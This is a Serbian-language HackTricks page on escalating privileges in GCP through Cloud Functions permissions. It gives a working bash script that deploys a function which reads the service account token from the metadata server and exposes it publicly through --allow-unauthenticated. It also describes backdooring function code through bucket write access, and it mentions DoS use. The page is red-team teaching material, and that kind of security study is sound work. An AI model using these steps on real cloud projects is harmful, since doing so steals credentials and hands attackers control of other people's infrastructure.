GCP - Cloudfunctions Privesc

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

cloudfunctions

Više informacija o Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Napadač sa ovim privilegijama može napraviti novu Cloud Function sa proizvoljnim (malicioznim) kodom i dodeliti joj Service Account. Zatim, iscuriti token Service Account-a iz metapodataka kako bi eskalirao privilegije.
Neke privilegije za aktiviranje funkcije mogu biti potrebne.

Eksploatacijski skripti za ovu metodu mogu se naći ovde i ovde, a unapred izgrađeni .zip fajl može se naći ovde.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Napadač sa ovim privilegijama može modifikovati kod funkcije i čak modifikovati servisni nalog koji je povezan sa ciljem exfiltracije tokena.

caution

Da biste implementirali cloud funkcije, takođe će vam biti potrebne actAs dozvole za podrazumevani servisni nalog za računanje ili za servisni nalog koji se koristi za izgradnju slike.

Neke dodatne privilegije kao što su .call dozvola za verziju 1 cloudfunctions ili uloga role/run.invoker za aktiviranje funkcije mogu biti potrebne.

bash
# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

caution

Ako dobijete grešku Permission 'run.services.setIamPolicy' denied on resource... to je zato što koristite parametar --allow-unauthenticated i nemate dovoljno dozvola za to.

Eksploatacijski skript za ovu metodu možete pronaći ovde.

cloudfunctions.functions.sourceCodeSet

Sa ovom dozvolom možete dobiti potpisanu URL adresu da biste mogli da otpremite datoteku u funkcijski bucket (ali kod funkcije neće biti promenjen, još uvek ga morate ažurirati)

bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Nisam baš siguran koliko je ova dozvola korisna iz perspektive napadača, ali dobro je znati.

cloudfunctions.functions.setIamPolicy, iam.serviceAccounts.actAs

Dajte sebi bilo koju od prethodnih .update ili .create privilegija da biste eskalirali.

cloudfunctions.functions.update

Samo imajući cloudfunctions dozvole, bez iam.serviceAccounts.actAs nećete moći da ažurirate funkciju, PA TO NIJE VALIDNA PRIVESC.

Pristup za čitanje i pisanje nad bucket-om

Ako imate pristup za čitanje i pisanje nad bucket-om, možete pratiti promene u kodu i kada god dođe do ažuriranja u bucket-u, možete ažurirati novi kod sa svojim kodom koji će nova verzija Cloud Function-a pokrenuti sa dostavljenim backdoored kodom.

Možete proveriti više o napadu u:

GCP - Storage Privesc

Međutim, ne možete ovo koristiti za prethodno kompromitovanje trećih strana Cloud Functions, jer ako kreirate bucket u svom nalogu i date mu javne dozvole tako da eksterni projekat može pisati preko njega, dobijate sledeću grešku:

caution

Međutim, ovo bi moglo biti korišćeno za DoS napade.

Pristup za čitanje i pisanje nad Artifact Registry

Kada se kreira Cloud Function, nova docker slika se šalje u Artifact Registry projekta. Pokušao sam da modifikujem sliku novom, pa čak i da obrišem trenutnu sliku (i cache sliku) i ništa se nije promenilo, cloud function nastavlja da radi. Stoga, možda bi moglo biti moguće zloupotrebiti napad Race Condition kao sa bucket-om da promenite docker kontejner koji će biti pokrenut, ali samo modifikovanje sačuvane slike nije moguće za kompromitovanje Cloud Function-a.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks